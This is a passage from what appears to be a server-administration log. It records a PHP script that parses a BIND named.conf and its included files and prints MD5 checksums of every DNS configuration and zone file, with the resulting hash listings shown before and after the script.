MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:08:00: Establishing a connection
2026-05-13 14:08:00: 

PUT: /tmp/pkp191495

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:08:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp191495; rm /tmp/pkp191495'

2026-05-13 14:08:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
